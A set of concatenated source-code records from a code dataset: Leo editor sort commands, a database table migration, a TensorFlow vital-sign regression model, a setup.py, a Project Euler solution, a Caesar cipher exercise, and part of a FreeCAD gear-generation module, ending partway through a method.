c_oc.toggleSparseMove\n@g.commander_command('toggle-sparse-move')\ndef toggleSparseMove(self: Cmdr, event: Event = None) -> None:\n    \"\"\"Toggle whether moves collapse the outline.\"\"\"\n    c = self\n    c.sparse_move = not c.sparse_move\n    if not g.unitTesting:\n        g.blue(f\"sparse-move: {c.sparse_move}\")\n#@+node:ekr.20080425060424.1: ** c_oc.Sort commands\n#@+node:felix.20230318172503.1: *3* c_oc.reverseSortChildren\n@g.commander_command('reverse-sort-children')\ndef reverseSortChildren(\n    self: Cmdr,\n    event: Event = None,\n    key: str = None\n) -> None:\n    \"\"\"Sort the children of a node in reverse order.\"\"\"\n    self.sortChildren(key=key, reverse=True)  # as reverse, Fixes #3188\n#@+node:felix.20230318172511.1: *3* c_oc.reverseSortSiblings\n@g.commander_command('reverse-sort-siblings')\ndef reverseSortSiblings(\n    self: Cmdr,\n    event: Event = None,\n    key: str = None\n) -> None:\n    \"\"\"Sort the siblings of a node in reverse order.\"\"\"\n    self.sortSiblings(key=key, reverse=True)  # as reverse, Fixes #3188\n#@+node:ekr.20050415134809: *3* c_oc.sortChildren\n@g.commander_command('sort-children')\ndef sortChildren(\n    self: Cmdr,\n    event: Event = None,\n    key: Callable = None,\n    reverse: bool = False\n) -> None:\n    \"\"\"Sort the children of a node.\"\"\"\n    # This method no longer supports the 'cmp' keyword arg.\n    c, p = self, self.p\n    if p and p.hasChildren():\n        c.sortSiblings(p=p.firstChild(), sortChildren=True, key=key, reverse=reverse)\n#@+node:ekr.20050415134809.1: *3* c_oc.sortSiblings\n@g.commander_command('sort-siblings')\ndef sortSiblings(\n    self: Cmdr,\n    event: Event = None,  # cmp keyword is no longer supported.\n    key: Callable = None,\n    p: Position = None,\n    sortChildren: bool = False,\n    reverse: bool = False,\n) -> None:\n    \"\"\"Sort the siblings of a node.\"\"\"\n    c, u = self, self.undoer\n    if not p:\n        p = c.p\n    if not p:\n        return\n\n    oldP, newP = p.copy(), p.copy()\n    c.endEditing()\n    undoType = 'Sort Children' if sortChildren else 'Sort Siblings'\n    if reverse:\n        undoType = 'Reverse ' + undoType\n    parent_v = p._parentVnode()\n    oldChildren = parent_v.children[:]\n    newChildren = parent_v.children[:]\n    if key is None:\n\n        def lowerKey(self: Cmdr) -> str:\n            return self.h.lower()\n\n        key = lowerKey\n\n    newChildren.sort(key=key, reverse=reverse)  # type:ignore\n    if oldChildren == newChildren:\n        return\n    # 2010/01/20. Fix bug 510148.\n    c.setChanged()\n    bunch = u.beforeSort(p, undoType, oldChildren, newChildren, sortChildren)\n    # A copy, so its not the undo bead's oldChildren. Fixes #3205\n    parent_v.children = newChildren[:]\n    u.afterSort(p, bunch)\n    # Sorting destroys position p, and possibly the root position.\n    # Only the child index of new position changes!\n    for i, v in enumerate(newChildren):\n        if v.gnx == oldP.v.gnx:\n            newP._childIndex = i\n            break\n\n    if newP.parent():\n        newP.parent().setDirty()\n\n    if sortChildren:\n        c.redraw(newP.parent())\n    else:\n        c.redraw(newP)\n#@+node:ekr.20070420092425: ** def cantMoveMessage\ndef cantMoveMessage(c: Cmdr) -> None:\n    h = c.rootPosition().h\n    kind = 'chapter' if h.startswith('@chapter') else 'hoist'\n    g.warning(\"can't move node out of\", kind)\n#@+node:ekr.20180201040936.1: ** count-children\n@g.command('count-children')\ndef count_children(event: Event = None) -> None:\n    \"\"\"Print out the number of children for the currently selected node\"\"\"\n    c = event and event.get('c')\n    if c:\n        g.es_print(f\"{c.p.numberOfChildren()} children\")\n#@-others\n#@-leo\n","repo_name":"leo-editor/leo-editor","sub_path":"leo/commands/commanderOutlineCommands.py","file_name":"commanderOutlineCommands.py","file_ext":"py","file_size_in_byte":64559,"program_lang":"python","lang":"en","doc_type":"code","stars":1414,"dataset":"github-code","pt":"35"}
{"seq_id":"21602895726","text":"from gearbox.migrations import Migration\n\nclass AddTableBRAND(Migration):\n\n    database = \"common\"\n\n    def up(self):\n        t = self.table('BRAND', area=\"Sta_Data_2_256\", multitenant=\"yes\", dump_name=\"brand\", desc='''Brand info\n''')\n        t.column('Brand', 'character', format=\"x(8)\", initial=\"\", max_width=16, label=\"Brand\", column_label=\"Brand\", position=2, order=10, help=\"Code Of Brand\")\n        t.column('BRName', 'character', format=\"x(20)\", initial=\"\", max_width=40, label=\"BrName\", column_label=\"BrName\", position=3, order=20, help=\"Name of Brand\")\n        t.column('directory', 'character', format=\"x(50)\", initial=\"\", max_width=100, label=\"Dir\", column_label=\"Dir\", position=4, order=30, help=\"Directory Of Brand\")\n        t.column('Address', 'character', format=\"x(25)\", initial=\"\", max_width=50, label=\"Address\", column_label=\"Addr.\", position=5, order=40, help=\"Address of Brand\")\n        t.column('Phone', 'character', format=\"x(18)\", initial=\"\", max_width=36, label=\"Tel\", column_label=\"Tel\", position=6, order=50, help=\"Telefon Number\")\n        t.column('ContactName', 'character', format=\"x(20)\", initial=\"\", max_width=40, label=\"ContactName\", column_label=\"ContactName\", position=7, order=60, help=\"Contact Name\")\n        t.column('email', 'character', format=\"x(50)\", initial=\"\", max_width=100, label=\"Email\", column_label=\"Email\", position=8, order=70, help=\"Email\")\n        t.column('ProgPath', 'character', format=\"x(40)\", initial=\"\", max_width=80, label=\"Program Path\", column_label=\"Path\", position=9, order=80, help=\"Brand specific program path (propath)\")\n        t.column('PostOffice', 'character', format=\"x(24)\", initial=\"\", max_width=48, label=\"Postal Address\", column_label=\"Post Addr.\", position=10, order=90, help=\"Postal address\")\n        t.index('Brand', [['Brand']], area=\"Sta_Index_3\", primary=True, unique=True)\n        t.index('BRName', [['BRName']], area=\"Sta_Index_3\")\n\n    def down(self):\n        self.drop_table('BRAND')\n","repo_name":"subi17/ccbs_new","sub_path":"db/progress/migrations/0063_add_table_common_brand.py","file_name":"0063_add_table_common_brand.py","file_ext":"py","file_size_in_byte":1968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"20110201271","text":"'''\n\n@author: Jiayi Zhang \n\n\n'''\n\nfrom abc import ABC\nimport scipy.io as scio\nimport tensorflow as tf\nimport numpy as np\nfrom tensorflow.keras import layers, losses, activations, Model, optimizers, metrics\nfrom tensorflow.keras.utils import plot_model\nimport matplotlib.pyplot as plt\nimport matplotlib.mlab as mlab\nimport sys\nimport os\nfrom evaluation import evaluation\n\nos.environ['KMP_DUPLICATE_LIB_OK']='TRUE'\nbest_val_mae_output = sys.float_info.max\nEPOCHS=100\n\nclass MyModel():\n    def __init__(self, input_shape=(500, 56, 2)):\n        inputs = layers.Input(shape=input_shape)\n\n        self.cnn_layers = self.create_cnn(32, (5, 5), (1, 1), (64, 16), (32, 8)) + \\\n                          self.create_cnn(64, (3, 3), (1, 1), (32, 4), (16, 4)) + \\\n                          self.create_cnn(128, (2, 2), (1, 1), (4, 2), (8, 2))\n        flatten_layer = layers.Flatten()\n        self.branch_1 = [*self.cnn_layers, flatten_layer, *self.create_fc(), layers.Dense(1, name='heart')]\n        self.branch_2 = [*self.cnn_layers, flatten_layer, *self.create_fc(), layers.Dense(1, name='breath')]\n        outputs_1 = outputs_2 = inputs\n        for layer in self.branch_1:\n            outputs_1 = layer(outputs_1)\n        for layer in self.branch_2:\n            outputs_2 = layer(outputs_2)\n        self.net = Model(inputs, [outputs_1, outputs_2])\n\n    @staticmethod\n    def create_cnn(filters=64, kernel_size=(2, 2), kernel_strides=(1, 1), pool_size=(2, 2), pool_strides=(1, 1)):\n        module = [\n            layers.Conv2D(filters=filters, kernel_size=kernel_size, strides=kernel_strides, padding='same',\n                          activation=activations.relu),\n            layers.BatchNormalization(),\n            layers.MaxPooling2D(pool_size=pool_size, strides=pool_strides, padding='same')\n        ]\n        return module\n\n    @staticmethod\n    def create_fc(units=(128, 64, 32)):\n        module = [layers.Dense(x, activation=activations.relu) for x in units]\n        return module\n\ndef pre_processing(x, y, z):\n    x = tf.cast((x - tf.reduce_mean(x)) / tf.math.reduce_std(x), tf.float32)\n    y = tf.squeeze(y)\n    z = tf.squeeze(z)\n    return x, (y, z)\n\n\ndef main():     \n    z=np.load(\"1data.npz\")\n    data = z['arr_0']\n    data1 = z['arr_2']\n    data2 = z['arr_1']\n      \n    db_size = data.shape[0]\n    batch_size = 4\n    db = tf.data.Dataset.from_tensor_slices((data, data1, data2)).map(\n        pre_processing).shuffle(10000)\n    db_train = db.take(int(db_size * 0.8)).batch(batch_size)\n    db_val = db.skip(int(db_size * 0.8)).batch(batch_size)\n\n    model = MyModel()\n    model.net.summary()\n    checkpoint_filepath = './checkpoint1/optimal'\n    model_checkpoint_callback = tf.keras.callbacks.ModelCheckpoint(\n        filepath=checkpoint_filepath,\n        save_weights_only=True,\n        monitor='val_loss',\n        mode='min',\n        save_best_only=True)\n    model.net.compile(optimizer=optimizers.Adam(learning_rate=1e-3),\n                      loss=losses.MeanAbsolutePercentageError(name='MAPE'),\n                      metrics=[metrics.MeanAbsolutePercentageError(name='MAPE'), 'mae'],\n                      loss_weights=[0.5, 0.5])\n    \n    H = model.net.fit(db_train, epochs=EPOCHS, validation_data=db_val, callbacks=[model_checkpoint_callback])\n    \n    \n    N=np.arange(0,EPOCHS) \n    plt.style.use(\"ggplot\")    \n    plt.figure()\n    #plt.title('val_output_mae')\n    plt.xlabel(\"Epoch #\")\n    plt.ylabel(\"Mean Absolute Percentage Error\")\n    #plt.plot(N, H.history[\"heart_MAPE\"], label=\"Train Error1\")\n    plt.plot(N, H.history[\"val_heart_MAPE\"], label=\"Mean Estimation Error of Heart\")\n    #plt.plot(N, H.history[\"breath_MAPE\"], label=\"Train Error2\")\n    plt.plot(N, H.history[\"val_breath_MAPE\"], label=\"Mean Estimation Error of Breath\")\n    plt.legend()\n    plt.savefig('multiopt1.png')  \n    np.save(\"multioutput_H_1.npy\",H.history)\n\ndef predict():\n    csi_sample = np.load(\"test_data.npy\")\n    heart_true = np.load(\"test_data1.npy\")\n    breath_true = np.load(\"test_data2.npy\")\n    \n    \n    sample = tf.data.Dataset.from_tensor_slices(csi_sample).map(\n        lambda x: tf.cast((x - tf.reduce_mean(x)) / tf.math.reduce_std(x), tf.float32)).batch(4)\n    model = MyModel()\n    model.net.load_weights('./checkpoint1/optimal').expect_partial()\n    heart_pred, breath_pred = model.net.predict(sample)\n\n    heart_mape = np.mean(np.abs(heart_pred - heart_true) / heart_true)\n    breath_mape = np.mean(np.abs(breath_pred - breath_true) / breath_true)\n    print(heart_mape, breath_mape)\n    \n    heart_mae=np.mean(np.abs(heart_pred - heart_true) )\n    breath_mae=np.mean(np.abs(breath_pred - breath_true) )\n    print(heart_mae, breath_mae)\n \n\n    \n\n    \n    \nif __name__ == '__main__':\n    #main()\n    #predict()\n    evaluation()","repo_name":"Yvonnez0z/ThesisA","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"23571184980","text":"from setuptools import setup, find_packages\r\n\r\nCLASSIFIERS = [\r\n    'Development Status :: 5 - Production/Stable',\r\n    'Intended Audience :: Developers',\r\n    'Intended Audience :: Science/Research',\r\n    'Programming Language :: Python',\r\n    'Programming Language :: Python :: 3',\r\n]\r\n\r\ndist = setup(\r\n    name='cf_data_mining',\r\n    version='0.1.3',\r\n    license='MIT License',\r\n    description='Package providing basic data mining widgets (based on scikit-learn) for ClowdFlows >= 2',\r\n    url='https://github.com/xflows/cf_data_mining',\r\n    classifiers=CLASSIFIERS,\r\n    packages=find_packages(),\r\n    include_package_data=True,\r\n    zip_safe=False,\r\n    install_requires=[\r\n        # 'cf_core',\r\n        'scipy',\r\n        'numpy',\r\n        'scikit-learn',\r\n        'pydot'\r\n    ]\r\n)\r\n","repo_name":"xflows/cf_data_mining","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"32447410146","text":"from numpy import *\nimport time\nimport scipy\nfrom decimal import Decimal, getcontext\nfrom fractions import Fraction,gcd\ngetcontext().prec = 64\n\nstart = time.time()\n\nN_max = 500\n\n# added a 6 to the probabilities, such that I only have integers\n\nP = zeros([N_max,N_max]) #transition matrix for P\nN = zeros([N_max,N_max]) #transition matrix for N\n\n#create a sieve for the prime numbers up to 500\ndef primes(n):\n    sieve = [True] * (n+1)\n    sieve[0] = False\n    sieve[1] = False\n    for p in range(2, n+1):\n        if (sieve[p]):\n            for i in range(2*p, n+1, p):\n                sieve[i] = False\n\n    return sieve\n\nprime_list = primes(500)\n\n\n# fill the two transition matrices\n# start with the ends of the chain, 499 is prime\nP[0,1] = Fraction(2,3)*6\nN[0,1] = Fraction(1,3)*6\n\nP[N_max-1,N_max-2] = Fraction(2,3)*6\nN[N_max-1,N_max-2] = Fraction(1,3)*6\n\nfor i in range(1,N_max-1):\n    if prime_list[i+2]:\n        P[i,i+1] = Fraction(1,2) * Fraction(2,3)*6\n        N[i,i+1] = Fraction(1,2) * Fraction(1,3)*6\n    elif not prime_list[i+2]:  \n        P[i,i+1] = Fraction(1,2) * Fraction(1,3)*6\n        N[i,i+1] = Fraction(1,2) * Fraction(2,3)*6\n    if prime_list[i]:\n        P[i,i-1] = Fraction(1,2) * Fraction(2,3)*6\n        N[i,i-1] = Fraction(1,2) * Fraction(1,3)*6\n    elif not prime_list[i]:  \n        P[i,i-1] = Fraction(1,2) * Fraction(1,3)*6\n        N[i,i-1] = Fraction(1,2) * Fraction(2,3)*6\n\n\nalpha = ones([1,N_max])\nfor i in range(0,500):\n    if prime_list[i+1]:\n        alpha[0,i] = Fraction(2,3)*6\n    else:\n        alpha[0,i] = Fraction(1,3)*6\n\nfor case in ['P','P','P','N','N','P','P','P','N','P','P','N','P','N']:\n\n    if case == 'P':\n        alpha = dot(alpha,P)\n    else:\n        alpha = dot(alpha,N)\n\nsumme = sum(alpha)\n\n# i need to get rid of the factors of 6 again and normalize by 500\nprint(Fraction(int(summe),int(500*6**15)))\nprint('It took %ss to calculate the result.' % (time.time()-start))\n\n\n    \n\n\n\n","repo_name":"jborchma/project_euler","sub_path":"Solutions/300-500/p329.py","file_name":"p329.py","file_ext":"py","file_size_in_byte":1928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32421473283","text":"alphabet=\"aąbcćdeęfghijklłmnńoóprsśtuwyzźż\"\ndict_of_letters=dict(zip(alphabet,[i for i in range(32)]))\ndef ceaser(s,k):\n\twhile k<0:\n\t\tk=len(alphabet)+k\n\tprzesuniecie=k%(len(alphabet))\n\tcoded_word=[]\n\tfor word in s.split():\n\t\tfor letters in word:\n\t\t\ttmp=dict_of_letters[letters]+przesuniecie\n\t\t\twhile tmp>len(dict_of_letters):\n\t\t\t\ttmp=tmp-len(dict_of_letters)\n\t\t\tcoded_word.append(alphabet[tmp])\n\t\tcoded_word.append(\" \")\n\tcoded_word=coded_word[:-1] #usuwanie nadmiarowej spacji\n\treturn \"\".join(coded_word)\nprint(ceaser(\"dawid\",13))","repo_name":"DaDudek/Uwr","sub_path":"Python/Lista10/Zadanie1/Zadanie1.py","file_name":"Zadanie1.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30458324616","text":"# -*- coding: utf-8 -*-\n# ***************************************************************************\n# *                                                                         *\n# * This program is free software: you can redistribute it and/or modify    *\n# * it under the terms of the GNU General Public License as published by    *\n# * the Free Software Foundation, either version 3 of the License, or       *\n# * (at your option) any later version.                                     *\n# *                                                                         *\n# * This program is distributed in the hope that it will be useful,         *\n# * but WITHOUT ANY WARRANTY; without even the implied warranty of          *\n# * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the           *\n# * GNU General Public License for more details.                            *\n# *                                                                         *\n# * You should have received a copy of the GNU General Public License       *\n# * along with this program.  If not, see <http://www.gnu.org/licenses/>.   *\n# *                                                                         *\n# ***************************************************************************\n\nfrom __future__ import division\nimport os\nimport copy\n\nimport numpy as np\nimport math\nfrom pygears import __version__\nfrom pygears.involute_tooth import InvoluteTooth, InvoluteRack\nfrom pygears.cycloid_tooth import CycloidTooth\nfrom pygears.bevel_tooth import BevelTooth\nfrom pygears._functions import rotation3D, rotation, reflection, arc_from_points_and_center\n\n\nimport FreeCAD as App\nimport Part\nfrom Part import BSplineCurve, Shape, Wire, Face, makePolygon, \\\n    makeLoft, BSplineSurface, \\\n    makePolygon, makeHelix, makeShell, makeSolid, LineSegment\n\n\n__all__ = [\"InvoluteGear\",\n           \"CycloidGear\",\n           \"BevelGear\",\n           \"InvoluteGearRack\",\n           \"CrownGear\",\n           \"WormGear\",\n           \"HypoCycloidGear\",\n           \"ViewProviderGear\"]\n\n\ndef fcvec(x):\n    if len(x) == 2:\n        return(App.Vector(x[0], x[1], 0))\n    else:\n        return(App.Vector(x[0], x[1], x[2]))\n\n\nclass ViewProviderGear(object):\n    def __init__(self, obj, icon_fn=None):\n        # Set this object to the proxy object of the actual view provider\n        obj.Proxy = self\n        self._check_attr()\n        dirname = os.path.dirname(__file__)\n        self.icon_fn = icon_fn or os.path.join(dirname, \"icons\", \"involutegear.svg\")\n            \n    def _check_attr(self):\n        ''' Check for missing attributes. '''\n        if not hasattr(self, \"icon_fn\"):\n            setattr(self, \"icon_fn\", os.path.join(os.path.dirname(__file__), \"icons\", \"involutegear.svg\"))\n\n    def attach(self, vobj):\n        self.vobj = vobj\n\n    def getIcon(self):\n        self._check_attr()\n        return self.icon_fn\n\n    def __getstate__(self):\n        self._check_attr()\n        return {\"icon_fn\": self.icon_fn}\n\n    def __setstate__(self, state):\n        if state and \"icon_fn\" in state:\n            self.icon_fn = state[\"icon_fn\"]\n\nclass BaseGear(object):\n    def __init__(self, obj):\n        obj.addProperty(\"App::PropertyString\", \"version\", \"version\", \"freecad.gears-version\", 1)\n        obj.version = __version__\n        self.make_attachable(obj)\n\n    def make_attachable(self, obj):\n        # Needed to make this object \"attachable\",\n        # aka able to attach parameterically to other objects\n        # cf. https://wiki.freecadweb.org/Scripted_objects_with_attachment\n        if int(App.Version()[1]) >= 19:\n            obj.addExtension('Part::AttachExtensionPython')\n        else:\n            obj.addExtension('Part::AttachExtensionPython', obj)\n        # unveil the \"Placement\" property, which seems hidden by default in PartDesign\n        obj.setEditorMode('Placement', 0) #non-readonly non-hidden\n\n    def execute(self, fp):\n        # checksbackwardcompatibility:\n        if not hasattr(fp, \"positionBySupport\"):\n            self.make_attachable(fp)\n        fp.positionBySupport()\n        gear_shape = self.generate_gear_shape(fp)\n        if hasattr(fp, \"BaseFeature\") and fp.BaseFeature != None:\n            # we're inside a PartDesign Body, thus need to fuse with the base feature\n            gear_shape.Placement = fp.Placement # ensure the gear is placed correctly before fusing\n            result_shape = fp.BaseFeature.Shape.fuse(gear_shape)\n            result_shape.transformShape(fp.Placement.inverse().toMatrix(), True) # account for setting fp.Shape below moves the shape to fp.Placement, ignoring its previous placement\n            fp.Shape = result_shape\n        else:\n            fp.Shape = gear_shape\n\n    def generate_gear_shape(self, fp):\n        \"\"\"\n        This method has to return the TopoShape of the gear.\n        \"\"\"\n        raise NotImplementedError(\"generate_gear_shape not implemented\")\n\nclass InvoluteGear(BaseGear):\n\n    \"\"\"FreeCAD gear\"\"\"\n\n    def __init__(self, obj):\n        super(InvoluteGear, self).__init__(obj)\n        self.involute_tooth = InvoluteTooth()\n\n        obj.addProperty(\"App::PropertyPythonObject\",\n                        \"gear\", \"base\", \"python gear object\")\n\n        self.add_gear_properties(obj)\n        self.add_fillet_properties(obj)\n        self.add_helical_properties(obj)\n        self.add_computed_properties(obj)\n        self.add_tolerance_properties(obj)\n        self.add_accuracy_properties(obj)\n\n        obj.gear = self.involute_tooth\n        obj.simple = False\n        obj.undercut = False\n        obj.teeth = 15\n        obj.module = '1. mm'\n        obj.shift = 0.\n        obj.pressure_angle = '20. deg'\n        obj.beta = '0. deg'\n        obj.height = '5. mm'\n        obj.clearance = 0.25\n        obj.head = 0.\n        obj.numpoints = 6\n        obj.double_helix = False\n        obj.backlash = '0.00 mm'\n        obj.reversed_backlash = False\n        obj.properties_from_tool = False\n        obj.head_fillet = 0\n        obj.root_fillet = 0\n        self.obj = obj\n        obj.Proxy = self\n        self.compute_traverse_properties(obj)\n\n    def add_gear_properties(self, obj):\n        obj.addProperty(\"App::PropertyInteger\", \"teeth\", \"base\", \"number of teeth\")\n        obj.addProperty(\n            \"App::PropertyLength\", \"module\", \"base\", \"normal module if properties_from_tool=True, \\\n                                                                else it's the transverse module.\")\n        obj.addProperty(\n            \"App::PropertyLength\", \"height\", \"base\", \"height\")\n        obj.addProperty(\n            \"App::PropertyAngle\", \"pressure_angle\", \"involute\", \"pressure angle\")\n        obj.addProperty(\"App::PropertyFloat\", \"shift\", \"involute\", \"shift\")\n\n    def add_fillet_properties(self, obj):\n        obj.addProperty(\"App::PropertyBool\", \"undercut\", \"fillets\", \"undercut\")\n        obj.addProperty(\"App::PropertyFloat\", \"head_fillet\", \"fillets\",\n                        \"a fillet for the tooth-head, radius = head_fillet x module\")\n        obj.addProperty(\"App::PropertyFloat\", \"root_fillet\", \"fillets\",\n                        \"a fillet for the tooth-root, radius = root_fillet x module\")\n\n    def add_helical_properties(self, obj):\n        obj.addProperty(\"App::PropertyBool\", \"properties_from_tool\",\n                        \"helical\", \"if beta is given and properties_from_tool is enabled, \\\n                         gear parameters are internally recomputed for the rotated gear\")\n        obj.addProperty(\"App::PropertyAngle\", \"beta\", \"helical\", \"beta \")\n        obj.addProperty(\"App::PropertyBool\", \"double_helix\", \"helical\", \"double helix\")\n\n    def add_computed_properties(self, obj):\n        obj.addProperty(\"App::PropertyLength\", \"da\",\n                        \"computed\", \"outside diameter\", 1)\n        obj.addProperty(\"App::PropertyLength\", \"df\",\n                        \"computed\", \"root diameter\", 1)\n        self.add_traverse_module_property(obj)\n        obj.addProperty(\"App::PropertyLength\", \"dw\", \"computed\", \"The pitch diameter.\", 1)\n        obj.addProperty(\"App::PropertyAngle\", \"angular_backlash\", \"computed\",\n            \"The angle by which this gear can turn without moving the mating gear.\")\n        obj.setExpression('angular_backlash', 'backlash / dw * 360° / pi') # calculate via expression to ease usage for placement\n        obj.setEditorMode('angular_backlash', 1) # set read-only after setting the expression, else it won't be visible. bug?\n        obj.addProperty(\"App::PropertyLength\", \"transverse_pitch\",\n                        \"computed\", \"transverse_pitch\", 1)\n\n    def add_tolerance_properties(self, obj):\n        obj.addProperty(\"App::PropertyLength\", \"backlash\", \"tolerance\",\n            \"The arc length on the pitch circle by which the tooth thicknes is reduced.\")\n        obj.addProperty(\"App::PropertyBool\", \"reversed_backlash\", \"tolerance\", \"backlash direction\")\n        obj.addProperty(\n            \"App::PropertyFloat\", \"clearance\", \"tolerance\", \"clearance\")\n        obj.addProperty(\n            \"App::PropertyFloat\", \"head\", \"tolerance\", \"head_value * modul_value = additional length of head\")\n\n    def add_accuracy_properties(self, obj):\n        obj.addProperty(\"App::PropertyBool\", \"simple\", \"accuracy\", \"simple\")\n        obj.addProperty(\"App::PropertyInteger\", \"numpoints\",\n                        \"accuracy\", \"number of points for spline\")\n        \n    def add_traverse_module_property(self, obj):\n        obj.addProperty(\"App::PropertyLength\", \"traverse_module\", \"computed\", \"traverse module of the generated gear\", 1)\n\n    def compute_traverse_properties(self, obj):\n        # traverse_module added recently, if old freecad doc is loaded without it, it will not exist when generate_gear_shape() is called\n        if not hasattr(obj, 'traverse_module'):\n            self.add_traverse_module_property(obj)\n        if obj.properties_from_tool:\n            obj.traverse_module = obj.module / np.cos(obj.gear.beta)\n        else:\n            obj.traverse_module = obj.module\n\n        obj.transverse_pitch = \"{}mm\".format(obj.gear.pitch)\n        obj.da = \"{}mm\".format(obj.gear.da)\n        obj.df = \"{}mm\".format(obj.gear.df)\n        obj.dw = \"{}mm\".format(obj.gear.dw)\n\n    def generate_gear_shape(self, obj):\n        obj.gear.double_helix = obj.double_helix\n        obj.gear.m_n = obj.module.Value\n        obj.gear.z = obj.teeth\n        obj.gear.undercut = obj.undercut\n        obj.gear.shift = obj.shift\n        obj.gear.pressure_angle = obj.pressure_angle.Value * np.pi / 180.\n        obj.gear.beta = obj.beta.Value * np.pi / 180\n        obj.gear.clearance = obj.clearance\n        obj.gear.backlash = obj.backlash.Value * \\\n            (-obj.reversed_backlash + 0.5) * 2.\n        obj.gear.head = obj.head\n        obj.gear.properties_from_tool = obj.properties_from_tool\n\n        obj.gear._update()\n        self.compute_traverse_properties(obj)\n\n\n        if not obj.simple:\n\n            pts = obj.gear.points(num=obj.numpoints)\n            rot = rotation(-obj.gear.phipart)\n            rotated_pts = list(map(rot, pts))\n            pts.append([pts[-1][-1],rotated_pts[0][0]])\n            pts += rotated_pts\n            tooth = points_to_wire(pts)\n            edges = tooth.Edges\n\n            # head-fillet:\n            r_head = float(obj.head_fillet * obj.module)\n            r_root = float(obj.root_fillet * obj.module)\n            if obj.undercut and r_root != 0.:\n                r_root = 0.\n                App.Console.PrintWarning(\"root fillet is not allowed if undercut is computed\")\n            if len(tooth.Edges) == 11:\n                pos_head = [1, 3, 9]\n                pos_root = [6, 8]\n                edge_range = [2, 12]\n            else:\n                pos_head = [0, 2, 6]\n                pos_root = [4, 6]\n                edge_range = [1, 9]\n\n            for pos in pos_head:\n                edges = insert_fillet(edges, pos, r_head)\n\n            for pos in pos_root:\n                try:\n                    edges = insert_fillet(edges, pos, r_root)\n                except RuntimeError:\n                    edges.pop(8)\n                    edges.pop(6)\n                    edge_range = [2, 10]\n                    pos_root = [5, 7]\n                    for pos in pos_root:\n                        edges = insert_fillet(edges, pos, r_root)\n                    break\n            edges = edges[edge_range[0]:edge_range[1]]\n            edges = [e for e in edges if e is not None]\n\n            tooth = Wire(edges)\n            profile = rotate_tooth(tooth, obj.teeth)\n\n            if obj.height.Value == 0:\n                return profile\n            base = Face(profile)\n            if obj.beta.Value == 0:\n                return base.extrude(App.Vector(0, 0, obj.height.Value))\n            else:\n                twist_angle = obj.height.Value * np.tan(obj.gear.beta) * 2 / obj.gear.d\n                return helicalextrusion(base, obj.height.Value, twist_angle, obj.double_helix)\n        else:\n            rw = obj.gear.dw / 2\n            return Part.makeCylinder(rw, obj.height.Value)\n\n    def __getstate__(self):\n        return None\n\n    def __setstate__(self, state):\n        return None\n\nclass InternalInvoluteGear(BaseGear):\n    \"\"\"FreeCAD internal involute gear\n\n    Using the same tooth as the external, just turning it inside-out:\n    addedum becomes dedendum, clearance becomes head, negate the backslash, ...\n    \"\"\"\n\n    def __init__(self, obj):\n        super(InternalInvoluteGear, self).__init__(obj)\n        self.involute_tooth = InvoluteTooth()\n        obj.addProperty(\n            \"App::PropertyBool\", \"simple\", \"precision\", \"simple\")\n        obj.addProperty(\"App::PropertyInteger\", \"teeth\", \"base\", \"number of teeth\")\n        obj.addProperty(\n            \"App::PropertyLength\", \"module\", \"base\", \"normal module if properties_from_tool=True, \\\n                                                                else it's the transverse module.\")\n        obj.addProperty(\"App::PropertyLength\", \"height\", \"base\", \"height\")\n        obj.addProperty(\"App::PropertyLength\", \"thickness\", \"base\", \"thickness\")\n        obj.addProperty(\"App::PropertyInteger\", \"numpoints\",\n                        \"accuracy\", \"number of points for spline\")\n        obj.addProperty(\"App::PropertyPythonObject\", \"gear\", \"base\", \"test\")\n\n        self.add_involute_properties(obj)\n        self.add_tolerance_properties(obj)\n        self.add_fillet_properties(obj)\n        self.add_computed_properties(obj)\n        self.add_limiting_diameter_properties(obj)\n        self.add_helical_properties(obj)\n\n        obj.gear = self.involute_tooth\n        obj.simple = False\n        obj.teeth = 15\n        obj.module = '1. mm'\n        obj.shift = 0.\n        obj.pressure_angle = '20. deg'\n        obj.beta = '0. deg'\n        obj.height = '5. mm'\n        obj.thickness = '5 mm'\n        obj.clearance = 0.25\n        obj.head = -0.4 # using head=0 and shift=0.5 may be better, but makes placeing the pinion less intuitive\n        obj.numpoints = 6\n        obj.double_helix = False\n        obj.backlash = '0.00 mm'\n        obj.reversed_backlash = False\n        obj.properties_from_tool = False\n        obj.head_fillet = 0\n        obj.root_fillet = 0\n        self.obj = obj\n        obj.Proxy = self\n\n    def add_limiting_diameter_properties(self, obj):\n        obj.addProperty(\"App::PropertyLength\", \"da\",\n                        \"computed\", \"inside diameter\", 1)\n        obj.addProperty(\"App::PropertyLength\", \"df\",\n                        \"computed\", \"root diameter\", 1)\n\n    def add_computed_properties(self, obj):\n        obj.addProperty(\"App::PropertyLength\", \"dw\", \"computed\", \"The pitch diameter.\")\n        obj.addProperty(\"App::PropertyAngle\", \"angular_backlash\", \"computed\",\n            \"The angle by which this gear can turn without moving the mating gear.\")\n        obj.setExpression('angular_backlash', 'backlash / dw * 360° / pi') # calculate via expression to ease usage for placement\n        obj.setEditorMode('angular_backlash', 1) # set read-only after setting the expression, else it won't be visible. bug?\n        obj.addProperty(\"App::PropertyLength\", \"transverse_pitch\", \"computed\", \"transverse_pitch\", 1)\n        obj.addProperty(\"App::PropertyLength\", \"outside_diameter\", \"computed\", \"Outside diameter\", 1)\n\n    def add_fillet_properties(self, obj):\n        obj.addProperty(\"App::PropertyFloat\", \"head_fillet\", \"fillets\", \"a fillet for the tooth-head, radius = head_fillet x module\")\n        obj.addProperty(\"App::PropertyFloat\", \"root_fillet\", \"fillets\", \"a fillet for the tooth-root, radius = root_fillet x module\")\n\n    def add_tolerance_properties(self, obj):\n        obj.addProperty(\"App::PropertyLength\", \"backlash\", \"tolerance\",\n            \"The arc length on the pitch circle by which the tooth thicknes is reduced.\")\n        obj.addProperty(\"App::PropertyBool\", \"reversed_backlash\", \"tolerance\", \"backlash direction\")\n        